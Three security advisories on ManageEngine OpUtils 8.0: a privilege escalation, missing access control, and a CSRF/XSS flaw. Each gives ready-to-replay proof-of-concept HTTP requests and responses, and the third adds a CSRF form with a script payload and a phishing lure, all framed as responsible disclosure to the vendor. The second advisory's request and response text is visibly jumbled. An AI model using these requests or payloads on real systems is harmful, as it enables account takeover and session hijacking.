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=================================================================================== Privilege escalation Vulnerability in ManageEngine oputils =================================================================================== Overview ======== Title:- Privilege escalation Vulnerability in ManageEngine oputils Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: ManageEngine oputils Tested Version: : oputils 8.0 Severity: HIGH Advisory ID ============ 2016-05-Manage_Engine About the Product: ================== OpUtils is a Switch Port & IP Address Management software that helps network engineers manage their Switches and IP Address Space with ease. With its comprehensive set of 30+ tools, it helps them to perform network monitoring tasks like detecting a rogue device intrusion, keep a check on bandwidth usage, monitoring availability of critical devices, backing up Cisco configuration files and more. Description: ============ This Privilege escalation vulnerability enables an Normal user to escalate privilege and become administrator of the application. Vulnerability Class: ==================== Top 10 2014-I2 Insufficient Authentication/Authorization https://www.owasp.org/index.php/Top_10_2014-I2_Insufficient_Authentication/Authorization How to Reproduce: (POC): ======================== * you should have Read only useron OpUtils * login with that account to get api key something like 375e0fa0-0bb3-479c-a646-debb90a1f5f0 * Setup Burp and use change user password request and change userName to admin and newPwd to desire password HUrry you are admin now. :) POC ==== Burp Requst ----------- POST /oputilsapi/admin?key=375e0fa0-0bb3-479c-a646-debb90a1f5f0 HTTP/1.1 Host: 192.168.1.10:7080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp Content-Length: 151 Cookie: OPUTILSJSESSIONID=AC6E9B2C01FDDD5E27C245BC6F31C032; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache v=1&format=json&operation=DELETE_OR_MODIFY_USER&action1=MODIFY_USER&userInAction=kk&userRole=Administrator&userAuthType=Local&contactinfoID=2&loginID=2 Response -------- HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: OPUTILSJSESSIONIDSSO=1F8857A875EB16418DD7889DB60CFB66; Expires=Thu, 01-Jan-1970 00:00:10 GMT Set-Cookie: OPUTILSJSESSIONID=184C572A3D2E17EEC3B78C027B925421; Path=/ Content-Type: application/json;charset=UTF-8 Content-Length: 90 Date: Thu, 04 Feb 2016 13:27:09 GMT {"input":"{newUserName=MODIFY_USER, userInAction=kk, domainName=null}","status":"Success"} Mitigation ========== Upgrade to next Service pack Disclosure: =========== 04-Feb-2016 Repoerted to vendor 11-Feb-2016 Fixed By vendor ################################################################################ ==================================================================================================== Missing Function Level Access control Vulnerability in OPutils ==================================================================================================== Overview ======== Title:- Missing Function Level Access control Vulnerability in ManageEngine OpUtils Author: Kaustubh G. Padwad Vendor: ZOHO Corp Product: OPUTILS Tested Version: : OPUTILS 8.0 Severity: Medium Advisory ID ============ 2016-06-Manage_Engine Description: ============ This Missing Function Level Access Control vulnerability enables an Normal user to execute the Adinisitative Task. Vulnerability Class: ==================== 2013-A7-Missing Function Level Access Control https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control How to Reproduce: (POC): ======================== * Get The administrative Task URL from either demo site or download locally * Now Login With Normal User * Paste the below requst or any other for Ex. http://IP-OF-Server:7080/oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS POC ==== Burp Requst ----------- GET /oputilsapi/admin?v=1&format=json&key=375e0fa0-0bb3-479c-a646-debb90a1f5f0&operation=GET_USER_DETAILS HTTP/1.1 Host: 192.168.1.10:7080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Response -------- HTTP/1.1 200 OK erver: Apache-Coyote/1.1 Content-Type: application/json;charset=UTF-8 Content-Length: 589 Date: Thu, 04 Feb 2016 14:28:25 GMT {"result":[{"ad-domain-name":"","user-name":"admin","account-created-time":"30 Jan 16, 12:20 AM","Action":"","user-contactinfo-id":"1","user-role":"Administrator","user-description":"--","user-phone-number":"","user-email":"","user-id":"1","ad-domain-id":"","user-login-id":"1"},{"ad-domain-name":"","user-name":"kk","account-created-time":"30 Jan 16, 12:23 AM","Action":"","user-contactinfo-id":"2","user-role":"Read Only User","user-description":"--","user-phone-number":"","user-email":"","user-id":"2","ad-domain-id":"","user-login-id":"2"}],"input":"{userId=null}","status":"Success"} Server: Apache-Coyote/1.1 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST Access-Control-Max-Age: 5000 Content-Type: application/json;charset=UTF-8 Date: Sat, 30 Jan 2016 21:39:03 GMT Content-Length: 19 {"resolved":true} Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.10:7080/apiclient/ember/index.jsp Cookie: OPUTILSJSESSIONID=C256E5B41CC23B33ACF94D206E243FB2; JSESSIONID=B59D8FD4B17DB7200A991299F4034DF1; OPUTILSJSESSIONIDSSO=28A377BA0B7D0C6E21D1E2B3A3E4A371 Connection: keep-alive Mitigation ========== Upgrade to NextService Pack Disclosure: =========== 04-Feb-2016 Repoerted to vendor 11-Feb-2016 Fixed By Vendor ################################################################################ =============================================================================== CSRF and XXS In Manage Engine oputils =============================================================================== Overview ======== * Title : CSRFand XSS In Manage Engine OPutils * Author: Kaustubh G. Padwad * Plugin Homepage: https://www.manageengine.com/products/oputils/ * Severity: HIGH * Version Affected: Version 8.0 * Version Tested : Version 8.0 * version patched: Advisory ID ============ 2016-01-Manage_Engine Description =========== Vulnerable Parameter -------------------- 1. RouterName 2. action Form 3. selectedSwitchTab 4. ipOrHost 5. alertMsg 6. hostName 7. switchID 8. oidString About Vulnerability ------------------- This Application is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin?s browser can be made t do almost anything the admin user could typically do by hijacking admin's cookies etc. Vulnerability Class =================== Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS) Steps to Reproduce: (POC) ========================= * Add follwing code to webserver and send that malicious link to application Admin. * The admin should be loggedin when he clicks on the link. * Soical enginering might help here For Example :- Device password has been changed click here to reset ####################CSRF COde####################### <html> <body> <form action="http://192.168.1.10:7080/DeviceExplorer.cc"> <input type="hidden" name="RouterName" value="kaus"><img src=a onerror=confirm("Kaustubh")>tubh" /> <input type="submit" value="Submit request" /> </form> </body> </html> Mitigation ========== Upgrade to next service pack Change Log ========== Disclosure ========== 28-January-2016 Reported to Developer 28-January-2016 Acknodlagement from developer 11-February-2016 Fixed by vendor () credits ======= * Kaustubh Padwad * Information Security Researcher * kingkaustubh@me.com * https://twitter.com/s3curityb3ast * http://breakthesec.com * https://www.linkedin.com/in/kaustubhpadwad |
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